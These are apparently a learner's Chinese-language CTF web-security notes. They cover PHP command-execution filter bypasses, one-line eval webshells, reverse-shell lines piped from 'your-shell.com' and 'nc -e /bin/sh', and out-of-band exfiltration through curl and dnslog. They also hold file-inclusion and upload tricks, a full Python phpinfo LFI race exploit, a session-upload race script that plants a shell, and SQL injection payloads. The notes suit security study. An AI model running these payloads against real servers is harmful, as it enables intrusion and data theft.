学习WEB

WEB最重要的技能是信息收集:

不止简单的网站探测,我们进行的每一步都要作为信息累积下来。因为你面对每一个网站时都是未知的,这也是为什么大部分资料都是线介绍信息搜集的原因吧。

信息泄露漏洞利用

http头信息泄露

/admin/和/admin区别

/admin/表示访问的是admin目录,会默认访问admin目录里面的索引文件,比如index.html或者index.php

/admin表示访问admin文件,如果没有这个文件,就直接返回404,不会去寻找索引文件

报错信息泄露

可以判断是什么系统,服务器

页面信息泄露

robots.txt敏感信息泄露

防君子不防小人

robots.txt可能会造成信息或路径泄露

有些网站没有robots.txt

robots.txt内容不一定是真实的,也有可能是对方在钓鱼

git文件泄露

git是一个版本控制系统

php基础知识

php的基本概念

php是一种网站的脚本语言,文件后缀是php,用来写网站,适合中小型网站的开发

php基础语法

1
2
3
<?php
echo "helll"
?>

_GET

键(参数名) =值对(参数值)

a = b

?区分文件和参数部分

参数部分用&区分多个键值对

单个键值对 用=分割出 键值

1
2
3
4
<?php
$a=$_GET['a'];
echo $a;
?

_POST

1
2
3
4
<?php
$a=$_POST['a'];
echo $b;
?>

函数

1
2
3
4
5
6
7
8
9
<?php
function add($a,$b){
return $a+$b;
}
$a=$_POST['a'];
$b=$_POST['b'];
$c=add($a,$b);
echo $c;
?>

危险函数

1
2
3
4
<?php
$cmd=$_POST['cmd'];
system($cmd);
?>

用POST发送cmd=calc

会打开计算器

php命令执行

命令执行RCE

一般指目标服务器上的命令执行

php的cmmand exec函数

PHP官方由下面六种函数可以执行系统命令

  • system
  • passthru
  • exec
  • shell_exec
  • popen
  • pcntl_exec4
  • 执行运算符

php的命令执行和运用

dir=./查看当前目录

dir=…/上级目录

dir=/根目录

dir=cat /flag读文件

dir=;tac flag.php可以反着读文件

dir=;cat /flag.php F12看源码

在linux下所有东西都是基于文件的

/dev/null空设备

》/dev/null将输出转换到空设备,不让回显

cmd=tac flag.php

cmd=tac*/

cmd=ls;可以看当前目录

cmd=ls;tac flag.php&&;ls

shell的分号;可以用来分割命令

并列命令的&&的url编码(%26%26)可分割两条命令&&第一个成功下面才能执行下一个

;则不管成功与否,两个命令作为两行来执行

黑名单过滤

双写绕过

QQ图片20220928233229

特定字符过滤flag的情况

*通配符

my*/会出现与my有关的文件

?占位符

代替一个

QQ图片20220928233930

||表示

  • 分割两条命令

图中过滤flag ;

QQ图片20220928235637

=ls ;/cat /f*

!如果不是这种情况

preg_match正则表达式

1
2
error_reporting(o);//不显示报错
highlignt_file(__FILE__);//高亮显示

|\cat|\tac过滤cat tac

这时可以使用正则,其他未被过滤的指令,base编码解码1

1
`echo dGFjIGZsYWcucGhw)|base64-d`

过滤cat,more等文件读取命令的情况;直接

``echo bHMK

或tac flag.php(换位编码后dGFjIGZsYWcucGhw)|base64-d`||

1
`echo dGFjIGZsYWcucGhw | base64 -d`

QQ图片20220929000647

变量拼接绕过关键字QQ图片20220929002843

1
`a=c;b=at;c=fla;d=g.php;$a$b${c}${d}`

符号过滤可以爆破一下

读取文件时<>代替空格

${IFS}}

控制字符代替空格

%09 %0b %0c

字符串截取空格

QQ图片20220929003644

??

image-20221006213134810

过滤字母数字

语言参考-预定义变量DOLGET?

只能QQ图片20220929004217用符号了

爆破规则0-127最大最小间隔2

cmd=env

image-20221006211243031

看他的空格在哪截,在VSC打开(只是看看他在哪一位,截取的哪一行不能有被过滤的关键字)image-20221006211609233

image-20221006211355991

在x开始拿y个即 x(截出来的):y(源代码中全部的) 在这里要让他是空格

cmd=tac${GPG_KEYS=:40:1}/空格/*

3php的代码执行

script短标签

1
<script language="php">eval($_POST[1])</script> 

什么是php的代码执行

eval("要执行的php代码);可以赢执行参数给的php代码

可以用?>结束php代码。

1
2
3
<?php
$code = $_POST['code'];
eval("phpinfo();hrllo world")

代码执行和命令执行的区别

QQ图片20220929135711

php的代码执行是什么格式

在php语言中分为三种

函数调用

特征:(函数名字,函数参数,返回值)

函数名 (函数参数1;函数参数2,…) 分号

erro_reporting ( 0 ) ;

类方法调用

特征:(类实例,方法名,方法参数,返回值)

假设我们有个ctfshow类的实例cs,里面有个方法go,那么调用格式为

类实例 箭头 类方法 (方法参数)分号

​ cs -> go (“dust22”) ;

1
2
3
4
<?php
function add($a,$b){
return $a+$b;
}

语言结构调用

public +方法 公开模板

private + 方法 私模板

它在内部可以访问类属性,在外部不能访问

类实例 箭头 类方法 (方法参数)分号

​ cs -> go (“dust22”) ;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

class test//设置一个类,即test,张三就是一个类实例{
public $name;//公有方法
private $age;//私有方法

public function eat(){

}

public function sleep(){

}
}
$zhangsan = new test();
$zhangsan ->name="张三"; //引用它的属性(name)
$zhangsan ->age="18"; //

?>

image-20221003124121099

不能直接访问私有属性(在外部无法访问)

那么怎么才能访问呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

class test{
public $name;

private $age; //私有属性外部不能打开

public function eat(){

}

public function sleep(){

}
public function SetAge($a/*给它一个参数a*/){ //设置一个公有方法
$this/*指代当前对象*/->age=$a; //初始化年龄就可以调用它的年龄了
}
public function getAge(){
return/*不带括号*/ $this->age;
/*如果在一个函数中调用return语句,将立即结束此函数的执行并将它的
参数作为函数的值返回。也会终止eval()语句或者脚本文件的执行*/
}
}
$zhangsan = new test();
$zhangsan->name="张三"; //引用它的属性(name)
$zhangsan->SetAge(18); //调用他的年龄

echo $zhangsan->getAge();
?>

image-20221003125743884

这时可以返回18,因为对age进行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

class test{
public $name;

private $age; //私有属性外部不能打开

public function eat(){

}

public function sleep(){

}
public function SetAge($a/*给它一个参数a*/){ //设置一个公有方法
$this/*指代当前对象*/->age=$a; //初始化年龄就可以调用它的年龄了
}
public function getAge(){
return/*不带括号*/ $this->age;
/*如果在一个函数中调用return语句,将立即结束此函数的执行并将它的
参数作为函数的值返回。也会终止eval()语句或者脚本文件的执行*/
}
public static function play(){
echo "chihuo";
}

}
/*$zhangsan = new test();
$zhangsan->name="张三"; //引用它的属性(name)
$zhangsan->SetAge(18); //调用他的年龄*/
test::play();
//echo $zhangsan->getAge();
?>

image-20221003130828898

这时为什么能直接执行呢?

这种情况下不需要new函数来实例化,因为它是一个标识的一个static代表着它是一个静态方法不需要实例化就可以直接用类名来执行

就是两个冒号::

php的代码执行后门

一句话木马

1
2
3
<?php
eval($_POST[1]);
?> //蚁剑连接

_GET_POST转接头

1
2
3
4
5
6
7
8
9
10
11
12
<?php
eval($_GET[1]);
$_GET[1]=eval($_POST[1]);
eval("eval($_POST[1]);");
1=phpinfo() ;
"eval('phpinfo();');"
?>//蚁剑连接 即

<?php
eval($_GET[1]);
?>
?1=eval($_POST[2]);

不回显

1
curl ``xxxxxxxx

没办法直接看到回显可以使用写文件的方式将结果写到浏览器可以读取的位置,然后访问url+txt

可以用>写入

dns通道

http://dnslog.cn/

当文件按过长无法全部会带,使用sed -n命令

可以使用

1
a='sed -n "3,4p"fla?.php|base64';curl ${a:0:10}.m1207r.dnslog.cn//从0开始截取10个然后再从10开始

当dnslog被过滤时,可以使用

https通道

Dashboard - requestrepo.com

https://pipedream.com

1
2
3
4
curl -X POST --data a='cat ./flag.php' http://xxx.com #POST
curl http://xxx.com/?a='whoami' #get
#
curl https://your-shell.com/120.55.103.132:6666 |sh

以及ctfshow专用反弹shell

时间盲注

盲猜flag

长度限制下的命令执行

php的文件包含

文件包含的本质

指定一个文件 ,用函数作为接口调用

可移植性

文件包含,是可以在代码中的任意位置包含的。并不是一定非要是文件头包含

包含的内容,可以有php代码,也可以没有php代码()会默认txt文本输出,包含后。会从磁盘读取这个文件所有的内容,并把读取到的内容插入到当前包含代码的位置

eval和文件包含的共同的区别

都可以执行php代码

文件包含的常见函数

include仅仅是包含,包含不到不影响后续执

require必须包含成功,包含不到就报错不再执行

include_once包含一次,再次包含同样的文件不再重复包含

require_once同上

伪协议

计算机中的伪协议

image-20220930212615075

php中的伪协议

Linux php中可以自己计算目录,可以存在虚拟目录…/

image-20220930213026839

file协议

image-20220930214345069

第四行如果

file=A?B:C

A成立返回B不成立返回C

HTTP协议

可以远程访问

请求头
Referer

服务器判断客户端来自那个网页的请求头

UA

服务器了解客户端的浏览器

XFF

真实IP

ftp协议

和http协议类似,可以访问ftp服务器上的文件,如果支持匿名

php协议

image-20220930215516103

1
2
?a=php://input
//直接发包即可

在BP中Change request method 可以GET转POST

php://filter

是一种原封装器

参数

名称 描述
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表> 任何没有以 read=write= 作前缀 的筛选器列表会视情况应用于读或写链。

简言之,resource是数据来源,write写入,read读取

data协议

可以直接执行php指令

image-20220930235559600

image-20221001000012084

image-20221001000023774

1
a=data://text/plain,<?php phpinfo();?>

rot13绕过

两次rot13编码会变回原来的值

file=php://filter/write=string.rot13/resource=1.php

文件包含高级利用

文件包含可控点

文件名可控

后缀可控

文件名可控

意味着可以控制协议头

这时候可以优先使用data协议

后缀可控

如果后缀可控的情况下,可以考虑路径跳转,参考file协议

(一些题后缀可控,可以通过虚拟目录的手法,跳转目录,实现任意文件包含)

虚拟目录做跳转

image-20221001151304917

直接file=…/…/…/

nginx日志包含

nignx默认日志保存路径为/var/log/nginx/access.log

里面会保存我们访问的user-agent

如果我们的user-agent可控,那么就是可以污染到access.log日志文件

然后包含日志文件就可以实现代码执行

image-20221001155103172

这里我们要使用user-agent, 将恶意代码写到里面,如果是其他方式包含代码将被编码导致无法执行

image-20221001155828273

get发送file=…/…/log/nginx/access.log执行日志里的恶意文件

当php语法在双引号中的符号需要转义,否则判断为空即:

1
"<?php eval($_POST[1]);?>" = <?php eval();?>

这时候我们可以把$符号进行\转义

1
<?php eval(\$_POST[1]);?>

临时文件包含

在上传

upload_progress文件包含

php的session也可以保留我们的恶意代码,只要能找到sess文件的

image-20221005213255657

phpinfo(); 竞争上传,这里有个python2的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
#!/usr/bin/python 
import sys
import threading
import socket

def setup(host, port):
TAG="Security Test"
PAYLOAD="""%s\r
<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG
REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
padding="A" * 5000
REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
#modify this to suit the LFI script
LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
return (REQ1, TAG, LFIREQ)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, port))
s2.connect((host, port))

s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] =&gt; ")
fn = d[i+17:i+31]
except ValueError:
return None

s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()

if d.find(tag) != -1:
return fn

counter=0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args

def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter+=1

try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "\nGot it! Shell created in /tmp/g"
self.event.set()

except socket.error:
return


def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(phpinforeq)

d = ""
while True:
i = s.recv(4096)
d+=i
if i == "":
break
# detect the final chunk
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] =&gt; ")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")

print "found %s at %i" % (d[i:i+10],i)
# padded up a bit
return i+256

def main():

print "LFI With PHPInfo()"
print "-=" * 30

if len(sys.argv) < 2:
print "Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)

try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print "Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)

port=80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print "Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)

poolsz=10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print "Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)

print "Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()

maxattempts = 1000
e = threading.Event()
l = threading.Lock()

print "Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()

tp = []
for i in range(0,poolsz):
tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))

for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print "Woot! \m/"
else:
print ":("
except KeyboardInterrupt:
print "\nTelling threads to shutdown..."
e.set()

print "Shuttin' down..."
for t in tp:
t.join()

if __name__=="__main__":
main()

session文件包含(upload_progress文件上传)

php的session也可以保留我们的恶意代码,只要能找到sess文件的

要有一个包含点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
import threading
session=requests.session()
sess='ctfshow'
url="http://6eb9a422-f96b-4a44-a67d-0d9f9d3e716f.challenges.ctfer.com:8080/" #靶场地址


data1={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php echo "success";file_put_contents("/var/www/html/1.php","<?php eval(\\$_POST[1]);?>");?>'
}
file={
'file':'ctfshow'
}
cookies={
'PHPSESSID': sess
}

def write():
while True:
r = session.post(url,data=data1,files=file,cookies=cookies)
def read():
while True:
r = session.get(url+"?file=../../../../../../../tmp/sess_ctfshow")
if 'success' in r.text:
print("shell 地址为:"+url+"1.php")
exit()

threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()

用脚本的题

pear文件包含

姿势1

本地新建一个文件

1
2
3
4
//sheell.php
<?php
echo "<?php system(\$_POST);";
//\用来转义

直接远程下载

1
http://www.ab173.com/net/ip2int.php

image-20221007005014418

1
?file=/usr/local/lib/php/PEAR/pearcmd.php&ctfshow+install+R+/var/www/html/+htttps://靶场/x.php

+R+/下载的目录/

image-20221007010945121

1
?file=/usr/local/lib/php/PEAR/pearcmd.php&aaaa+config+create+/var/www/html/<?='$_POST[1]';?>+xxx.php

1=whoami

1=ls /

远程文件包含

ip转int可以直接绕过’.’

image-20221007011207040

在日志里进行污染

image-20221007011253346

image-20221007011407010

在body进行传参

6文件上传

php文件上传机制

文件上传的例子

文件上传表单

文件上传的例子

文件上传的成因

image-20221008195526042

image-20221008195606195

文件上传中可能存在

文件后缀黑名单过滤

如果出现php3个字符,我们可以双写绕过,phphpp

还有情况是,如果单纯对php后缀进行过滤,但是某些配置文件为了兼容老版本的php代码,也会增加对其他后缀的解析支持。比如php3.php5甚至phtml

image-20221008200647838

php文件上传的00截断

image-20221008200901547

image-20221008200932371

GIF89a

iconv字符转换异常造成截断

php在文件上传场景下的文件名字字符集转换时,可能会出现截断绕过。

其中iconv喊出通常用来进行字符集转换,在utf=image-20221008201120661

文件后缀白名单过滤

白名单校验文件后缀比黑名单校验更安全。普遍,绕过白名单通常需要借助web服务器

1web服务器漏洞过滤

IIS解析漏洞

image-20221008201450064

Nginx解析漏洞

在Nginx解析php的配置中,如果配置中未设置try_files且PHP-FPM未设置security。limit_extension,可能出现解析漏洞

image-20221008201555956

解析漏洞在后面加/aa.php以php格式解析(url会误认为是php格式),就可以进行操作

image-20221008202016981

image-20221008202025261

Apache解析漏洞

image-20221008202539870

文件上传的高级利用

配置文件过滤

.user.ini配置文件48t

auto_append_file=xxxx.txt

image-20221009002806797

为什么使用.use.ini自动附加文件时,当前目录必须要有php文件?

.user.ini实际上就是一个可以由用户“自定义”的php.ini我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。

auto_append_fileauto_prepend_file,看看什么意思:

指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:

1
auto_prepend_file=01.gif

01.gif是要包含的文件。

要追加时要有一个php文件,才能利用

像<?php,system.eval,$_GET,$_POST被禁用,我们可以使用cookie上传数据,或者用sell_exec反弹shell

用cookie传输数据

1
2
<?=`nc ip port-e/bin/sh`;
<?=`curl https://your-shell.com/ip:port |sh`>
1
2
3
4
5
6
7
8
echo"<?php eval($_POST[1]);?>">1.php
//如果发不出去选中双引号之内的东西base编码
echo"PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+">1.php
echo"PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+"|base64 -d >1.php
//要将它转交给base64,空格-d代表解码
echo"PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+"|base64 -d >1.php //把他复制到value里
也可以把+编码成%2b即:
echo"PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2b"|base64 -d >1.php
然后POST
1
1=ming'zhi
也可以用
1
2
GIF89a
auto_prepend_file=/var/log/nginx/access.log
### 文件上传与xss 利用oss对象存储桶来实现xss 利用配置文件来xss 图片上传 getimagesize ![image-20221009144246841](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221009144246841.png) ![image-20221009144331535](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221009144331535.png) ![image-20221009144343117](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221009144343117.png) ![image-20221009144743043](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221009144743043.png) ### png二次渲染绕过 直接生成一个新图片,清洗掉原来的php文件 连接已重置说明图片太大列 49t需要脚本 ![image-20221009153719266](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221009153719266.png) ## 总结 文件上传最容易出现代码执行和命令执行,且危害巨大, 配置文件.user.ini中,auto_append_file参数不仅可以写文件名,还能写伪协议和日志 getimagesise函数可以通过#define width 100来绕过 png和jpg的二次渲染后,仍有可能保留恶意代码 # 7SQL注入 ## SQL的基本 语法
1
2
3
4
5
CURD
Creat
Delete
Update
Read
### sql语言的作用 sql是一门语言,专门用来操作数据库中的数据。通过sql语句,我们可以快速的实现数据交互,修改,检查。 ### 数据库 数据是一种软件。他负责将数据以一定的格式保存在磁盘中,方便人们进行数据操作 数据库可以分为: #### 关系型数据库 代表软件: - Oracle - Mysql - SqlServer - 微软数据库,在Windows操作系统中广泛使用 - Access #### 非关系型数据库 也叫NoSQL,泛指非关系型的数据库,为了解决大规模数据集合多重数据种类带来的挑战 代表: - M -
换行 ### sql语句
1
2
3
4
select id,password,username from user;
update page set title = 'page1',content='content1' where id = 1;
delect from page where id=1;
insert into page (title,content) values('page1','content1');
1
2
3
4
5
6
7
8
conn = new mysqli()
//打开到一个MYSQL服务器连接
conn->query()
//将sql语句传入数据库,进行交互,
conn->fetch_all()
//
conn->fetch_array()
//拿到查询的数据,只拿一行
## sql注入 ### sql注入的产生 动态页面,通过get或者post提交参数,这个参数进入到sql语句进行数据库查询,如果对浏览器发送的get或者post参数,拼接进sql语句之前,没有进行过滤,就会造成sql注入漏洞 ![image-20221007165426212](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221007165426212.png) ### sql注入的危害1' and 1=2 union select 1,2,3,skctf_flag from fl4g# 歪曲sql语句的查询结果, 泄露数据库中的敏感数据, 干扰查询结果绕过权限检查, 通过文件操作写入恶意代码, #### 数字注入和union注入
1
2
3
4
5
id=1 order by 1,2,3
id=1 union select 1,2,3 //limit 1,1
id=1 select1,(select),3 limit 1,1
id=1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1),3 limit 1,1
'or'1'='1
#### 字符型注入 #### 布尔盲注 当我们没有明显的回显点。只能得到两种结果,比如页面报错,页面没报错,这时候我们就可以使用布尔盲注来猜 #### 报错注入 ![image-20221007192714064](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221007192714064.png) # 2.11.10 update xml报错 floor报错 整数溢出报错 exp报错 pow报错 ![image-20221007193146697](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221007193146697.png) cot报错 ![image-20221007193241589](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221007193241589.png) ### 堆叠注入 # 8.php基础,类与对象 ## php中的面向对象 ### 面向对象的思想: ![image-20221010123905091](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010123905091.png) ### php面向对象的特点 #### 聚类 如执行命令:更改一个被全部更改
1
2
3
4
5
system
shell_exec
exec
passthru
popen
#### 封装 ![image-20221010124401975](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010124401975.png) #### 隔离 ![image-20221010124559418](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010124559418.png) 例如
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
#创建一个类
class test{
public $a = 'sdfsdfa';
protected $b = 1111;
private $c = false;
public function displayVar() {
echo $this->a;
}
}
$d = new test(); //实例化对象
$d = serialize($d);//序列化对象
var_dump($d);//输出序列化后的结果
?>
通过`new`关键字实例化一个类,从类名生产出一个具体的实例 我们可以给实例属性进行赋值,比如:
1
$d->a="1";
同样的类实例出来的不同对象 不同对象之间的属性值是隔离的,互相不能访问 在对象内部也不能访问外部的变量 ![image-20221010125053847](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010125053847.png) 之间输出$name肯定空白 这里的$name就成为为初始化的变量了,在类内部无法直接调用外部的变量,也不能直接调用其他类的非静态变量,这样就起到了隔离的作用 ![image-20221010125326488](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010125326488.png) #### 继承
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
class Animal
{
function eat(){

}
function sleep(){

}
}
class HUman extends Animal{
public $gender;

function think(){

}
}
class Bird extends Animal{
function fly(){

}
}
class Chinese extends Human{
function speak_chinese(){

}
}


}
#### 多态 在php中是弱类型,在参数传递过程中,可以改变参数的对象类型,作为对象依然是可以传递进去的,当同一个参数由不同的对象实例来传递,那么调用结果就实现不同的状态。
1
2
3
4
5
class Command{
function run($var){
$var->run();
}
}
![image-20221010153749819](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010153749819.png) 面向对象的三个特征 封装,继承,多态 ## 类与对象 在php中类的属性和方法权限有3个权限,分别为 public protected private ### public权限 ![image-20221010153821573](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010153821573.png) ### protected权限 ![image-20221010154057881](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010154057881.png) 这里Human就是Animal的子类 Animal是Human的父类 其次。子类不能调用父类的私有方法,属性 子类可以访问父类的静态方法 ## 类的属性 ![image-20221010154345908](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010154345908.png) ### 静态属性 ### final属性 子类中可以重写父类 ![image-20221010155532091](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010155532091.png) ## 类的分类 ### 抽象类 使用`abstract`关键字定义抽象类 **定义为抽象的类不能实例化** **继承一个抽象类时。,子类必须定义父类中的所有抽象方法** **抽象类的作用是保证他的子类都有指定的共同方法,方便外部调用,而不关心内部的具体实现总结:** **抽象类不能实例化,只能实例化其子类** **抽象类可以有具体方法,但至少应该有一个抽象方法** **继承抽象类的子类必须实现抽象类的所有抽象方法** ### 接口 使用`interface`关键字定义抽象类 接口的特性: **接口中定义的所有方法都必须是公有** **要实现接口** 即将
1
2
3
public function eat(){

}
变为
1
2
3
public function eat(){
echo "肉"
}
接口允许继承,实现接口,也允许实现多个接口 ### trait ![image-20221010162559423](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010162559423.png) trait可以组合 ![image-20221010162727184](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010162727184.png) ## php的序列化与反序列化 ### 序列化的概念 **将对象或者数组转化为可存储的字符串。** 序列化的目的是方便数据的传输和存储,在PHP中,序列化和反序列化一般用做缓存,比如session缓存和cookie等。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
#创建一个类
class test{
public $a = 'sdfsdfa';
protected $b = 1111;
private $c = false;
public function displayVar() {
echo $this->a;
}
}
$d = new test(); //实例化对象
$d = serialize($d);//序列化对象
var_dump($d);//输出序列化后的结果
?>
运行结果:
1
string(73) "O:4:"test":3:{s:1:"a";s:7:"sdfsdfa";s:4:"\000*\000b";i:1111;s:7:"\000test\000c";b:0;}"
O:4:---代表O(object)代表对象类型,如果是a(array)那就是数组类型;4是对象名称的长度test是对象名称3代表有三个成员。 s:1:"a";s:7:"sdfsdfa"---第一个s表示变量名称是字符串类型,1是变量名称的长度,a是变量名称;第二个s代表变量值是字符串类型,7代表变量值的长,后面是变量的值。 **s:4:"\000*\000b";i:1111;---protected属性输出时一般需要url编码,若在本地存储更推荐采用base64编码的形式** 序列化的时候格式是%00%00成员名* 一个%00代表一个字节,所以protected有两个%00,在加上*和变量名称长度一共4个字节 **s:7:"\000test\000c";b:0;---private属性** private属性序列化的时候格式是%00类名%00成员名; 两个%00加上类名的4个字节和成员名的一个字节就是7个字节 serialize()函数只对类的**属性**序列化,不序列化**方法** ### 反序列化的概念 **将序列化后的字符串转换回对象或者数组。** 我们重新用上面的例子并把序列化的结果写入一个文本中存储:并读取内容进行反序列化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class test{
public $a = 'sdfsdfa';
protected $b = 1111;
private $c = false;
public function displayVar() {
echo $this->a;
}
}
$d = new test();
$d = serialize($d);
file_put_contents('1.txt',$d);
?>
<?php

$d = unserialize(file_get_contents('1.txt'));
print_r($d);
echo $d->a;
?>
**反序列化的时候要保证有该类存在,因为没有序列化方法,所以我们反序列化回来还要依靠该类的方法进行**
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class test{
public $a = 'sdfsdfa';
protected $b = 1111;
private $c = flase;
public function displayVar90{
echo $this->a;
}
}
$d = unserialize(file_get_contents('1.txr'));
print_($d);
echo $d->a;
?>
![image-20221010174812167](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010174812167.png) ## php中的魔术方法 是每个对象默认就有的方法,不管定义不定义,都存在 ### 反序列化中常见的魔术方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
__wakeup()//执行unserialize()时,先会调用这个函数
__sleep()//执行srialize()时,先会调用这个函数
__desruct()//对象被销毁时触发,
__construct()//对象被new时执行
__call()//在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发
__set_state()//自5.10起当调用var_export()导出类时,此静态方法会被调用
__debuginfo()//当调用var_dump时,调用类的这个方法,显示类的属性具体结构和值
